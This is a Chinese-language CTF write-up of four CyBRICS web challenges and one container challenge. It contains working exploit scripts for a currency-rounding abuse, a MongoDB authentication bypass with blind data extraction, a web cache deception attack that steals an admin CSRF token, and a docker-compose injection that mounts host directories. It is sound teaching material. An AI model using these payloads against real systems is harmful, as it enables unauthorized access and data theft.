0x00 前言 又是摸鱼的一天
0x01 Bitkoff Bank (Web, Easy, 50 pts) 题目描述 Author: Alexander Menshchikov (n0str)
Need more money! Need the flag!
题目解答 方法一:耗时较长但是操作简单
将btc兑换为usd
购买自动挖btc的机器人
burp多线程跟着挖
几个小时之后就可以得到flag了。<–我的解法 (x_x)
方法二:逻辑兑换问题
btc->usd
usd->btc
这个流程走完会发现btc就变多了,这样兑换个几百次就可以得到flag。
之所以会想到这点:
尝试兑换
前端提示了对浮点数的处理,但是后端并没有对其进行限制。
别的师傅的解法–>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package mainimport ( "fmt" "io/ioutil" "net/http" "regexp" "strings" "sync" ) var url = "http://95.179.148.72:8083/index.php" func main () { var wg sync.WaitGroup go btc2usd("0.00009" , true ) for j:=0 ; j < 100 ; j++ { for i := 0 ; i < 1 ; i++ { go usd2btc("0.9" , &wg) } wg.Wait() _, b := getmoney() btc2usd(b, false ) fmt.Println(getmoney()) } _, b := getmoney() btc2usd(b, false ) fmt.Println(getmoney()) fmt.Println("done" ) } func getmoney () (string , string ) { client := &http.Client{} req,_ := http.NewRequest("POST" ,url,strings.NewReader("" )) req.Header.Set("Content-Type" , "application/x-www-form-urlencoded" ) req.Header.Set("Cookie" ,"name=catcat; password=catcat" ) resp2, _ := client.Do(req) body, _ := ioutil.ReadAll(resp2.Body) r := regexp.MustCompile("Your USD: <b>(.*)</b><br>Your" ) usd := r.FindStringSubmatch(string (body))[1 ] r = regexp.MustCompile(">Your BTC: <b>(.*)</b><br>" ) btc := r.FindStringSubmatch(string (body))[1 ] return usd, btc } func btc2usd (amount string , l bool ) { client := &http.Client{} req,_ := http.NewRequest("POST" ,url,strings.NewReader("from_currency=btc&to_currency=usd&amount=" +amount)) req.Header.Set("Content-Type" , "application/x-www-form-urlencoded" ) req.Header.Set("Cookie" ,"name=catcat; password=catcat" ) if l == true { for { client.Do(req) } } else { client.Do(req) } } func usd2btc (amount string , wg *sync.WaitGroup) { wg.Add(1 ) client := &http.Client{} req,_ := http.NewRequest("POST" ,url,strings.NewReader("from_currency=usd&to_currency=btc&amount=" +amount)) req.Header.Set("Content-Type" , "application/x-www-form-urlencoded" ) req.Header.Set("Cookie" ,"name=catcat; password=catcat" ) client.Do(req) wg.Done() }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requestsimport randomimport stringurl = 'http://95.179.148.72:8083/index.php' s = requests.session() def randstr (length=8 ) : return '' .join(random.sample(string.ascii_letters + string.digits, length)) def get (s,url) : while True : try : r=s.get(url,timeout=3 ) if r.status_code != 500 : return r except : pass pass def post (s,url,data) : while True : try : r=s.post(url,data=data,timeout=3 ) if r.status_code != 500 : return r except : pass pass def reg_login (s,url,un,pw) : payload={'name' :un,'password' :pw} r=post(s,url,payload) return r.text def change (s,url,fr,to,am) : payload={'from_currency' :fr,'to_currency' :to,'amount' :am} r=post(s,url,payload) return r.text un=randstr() pw=randstr() print unprint pwreg_login(s,url,un,pw) reg_login(s,url,un,pw) change(s,url,'btc' ,'usd' ,'0.00003' ) while True : res=get(s,url) usd=res.text.split(': <b>' )[1 ].split('</b>' )[0 ] btc=res.text.split(': <b>' )[2 ].split('</b>' )[0 ] print float(usd) if float(usd)>=1.0 : break change(s,url,'usd' ,'btc' ,usd) res=get(s,url) usd=res.text.split(': <b>' )[1 ].split('</b>' )[0 ] btc=res.text.split(': <b>' )[2 ].split('</b>' )[0 ] change(s,url,'btc' ,'usd' ,btc)
flag:cybrics{50_57R4n93_pR3c1510n}
0x02 NopeSQL (Web, Medium, 156 pts) 题目描述 Author: Alexander Menshchikov (n0str)
Maybe you can login and find unusual secret news
http://173.199.118.226/
题目解答
git泄露源码(假的404)
1 python GitHack.py http://173.199.118.226/.git/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 <?php require_once __DIR__ . "/vendor/autoload.php" ;function auth ($username, $password) { $collection = (new MongoDB\Client('mongodb://localhost:27017/' ))->test->users; $raw_query = '{"username": "' .$username.'", "password": "' .$password.'"}' ; $document = $collection->findOne(json_decode($raw_query)); if (isset ($document) && isset ($document->password)) { return true ; } return false ; } $user = false ; if (isset ($_COOKIE['username' ]) && isset ($_COOKIE['password' ])) { $user = auth($_COOKIE['username' ], $_COOKIE['password' ]); } if (isset ($_POST['username' ]) && isset ($_POST['password' ])) { $user = auth($_POST['username' ], $_POST['password' ]); if ($user) { setcookie('username' , $_POST['username' ]); setcookie('password' , $_POST['password' ]); } } ?> <?php if ($user == true ): ?> Welcome! <div> Group most common news by <a href="?filter=$category" >category</a> | <a href="?filter=$public" >publicity</a><br> </div> <?php $filter = $_GET['filter' ]; $collection = (new MongoDB\Client('mongodb://localhost:27017/' ))->test->news; $pipeline = [ ['$group' => ['_id' => '$category' , 'count' => ['$sum' => 1 ]]], ['$sort' => ['count' => -1 ]], ['$limit' => 5 ], ]; $filters = [ ['$project' => ['category' => $filter]] ]; $cursor = $collection->aggregate(array_merge($filters, $pipeline)); ?> <?php if (isset ($filter)): ?> <?php foreach ($cursor as $category) { printf("%s has %d news<br>" , $category['_id' ], $category['count' ]); } ?> <?php endif ; ?> <?php else : ?> <?php if (isset ($_POST['username' ]) && isset ($_POST['password' ])): ?> Invalid username or password <?php endif ; ?> <form action='/' method="POST" > <input type="text" name="username" > <input type="password" name="password" > <input type="submit" > </form> <h2>News</h2> <?php $collection = (new MongoDB\Client('mongodb://localhost:27017/' ))->test->news; $cursor = $collection->find(['public' => 1 ]); foreach ($cursor as $news) { printf("%s<br>" , $news['title' ]); } ?> <?php endif ; ?>
从代码中可以看到是通过运行mongodb语句进行查询,那么就可以构造如下语句来bypass auth。
1 2 username: admin password: ","password":{"$ne":null},"username":"admin
拼接之后1 $raw_query = {"username": "admin", "password": "","password":{"$ne":null},"username":"admin"};
PS: $ne是不等于的意思。而且虽然变量重复了,但是decode时变量只会是最后一次的赋值。
登录之后就就会发现很明显是要从filter
参数处构造注入来获取flag。
1 http://173.199.118.226/index.php?filter[$gt][0]=$text&filter[$gt][1]=注入点
但是这里我还是不清楚这个二维数组的意思,所以后期需要调试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = "http://173.199.118.226/index.php?filter[$gt][0]=$text&filter[$gt][1]=" cookie = { "username" : "admin" , "password" : '","password":{"$ne":null},"username":"admin' } res = "cybrics{7" for j in range(50 ): for i in range(33 ,127 ): s = chr(i) r = requests.get(url+res+s, cookies=cookie) if "1 has" not in r.text: res += chr(i-1 ) print "----->" ,res break
这是盲注型解法,后面还看到有师傅用聚合管道 直接构造出了payload
1 /index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12
flag1 cybrics{7|-|15 15 4 7E><7 |=|_49}
0x03 Caesaref (Web, Hard, 50 pts) 题目描述 Author: Alexander Menshchikov (n0str)
There is an additional one: Fixaref
This web resource is highly optimized:
http://45.77.218.242/
题目解答 题目出现问题,bot直接带cookie访问了,所以可以轻松拿到cookie,之后带cookie访问目标即可。
0x04 Fixaref (Web, Hard, 267 pts) 题目描述 Author: Alexander Menshchikov (n0str)
Caesaref recently suffered from a massive data breach. It was so critical that they decided to just start over. Here it goes — Fixaref: “Reliability is Our Game”™®.
This web resource is even more highly optimized:
http://95.179.190.31/
题目解答
就是css文件会被缓存
由于网站路由配置不当,导致可以将某些页面后缀变成css,然后就被缓存了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import requestsimport reimport time import randomurl = "http://95.179.190.31/" header = { "Cookie" : "PHPSESSID=nsce9ed7evs05iisp8u0hb41r6" } def getToken (text) : tmp = re.search('value="([a-z0-9]{64})"' , text) if (tmp): print(tmp.group(1 )) return tmp.group(1 ) else : print("[x] getToken() error!" ) return 0 def ask (askData) : tokenRaw = requests.get(url,headers=header).text data = { "csrf-token" :getToken(tokenRaw), "question" :askData, "submit" :"Ask" } askRespose = requests.post(url,data=data,headers=header) return askRespose.text def getFlag (token) : return url+"/index.php/{:d}.css?csrf-token={:s}%26flag=1%26a.css/abc.css" .format(random.randint(1 ,23333333333 ),token) url1 = url+"index.php/{:d}.css" .format(random.randint(1 ,23333333333 )) ask(url1) print("loading..." ) time.sleep(2 ) tokenRaw = requests.get(url1,headers=header).text if ("Show flag" in tokenRaw): tokenAdmin =getToken(tokenRaw) print("loading..." ) time.sleep(2 ) url2 = getFlag(tokenAdmin) print(url2) ask(url2) print requests.get(url2.replace("%26" ,"&" )).text
得到flag1 cybrics{Bu9s_C4N_83_uN1N73Nd3D!}
0x05 Dock Escape (CTB, Easy, 151 pts) 题目描述 Author: George Zaytsev (groke)
We want you to get a flag from hosting server. Flag path is /home/flaghttp://95.179.188.234:8080/
题目解答 当时一直想是启动之后去利用某个trick去逃逸,所以一直卡在这儿,比完之后才发现其实是在启动的时候的问题。
一般来说docker是无法读取母机的文件的,但是如果在启动的时候加入一些参数就有可能呢个触发逃逸,但是最简单的方法就是将对应的目录挂载到docker上。
在端口号处随便输入发现会触发报错
根据报错信息发现是使用了docker-compose.yml
,所以根据对应的语法构造payload就行了。
1 2233:12345\n volumes:\n - /home:/ctf #
这里最好使用burp来修包打
之后直接使用client.py来读flag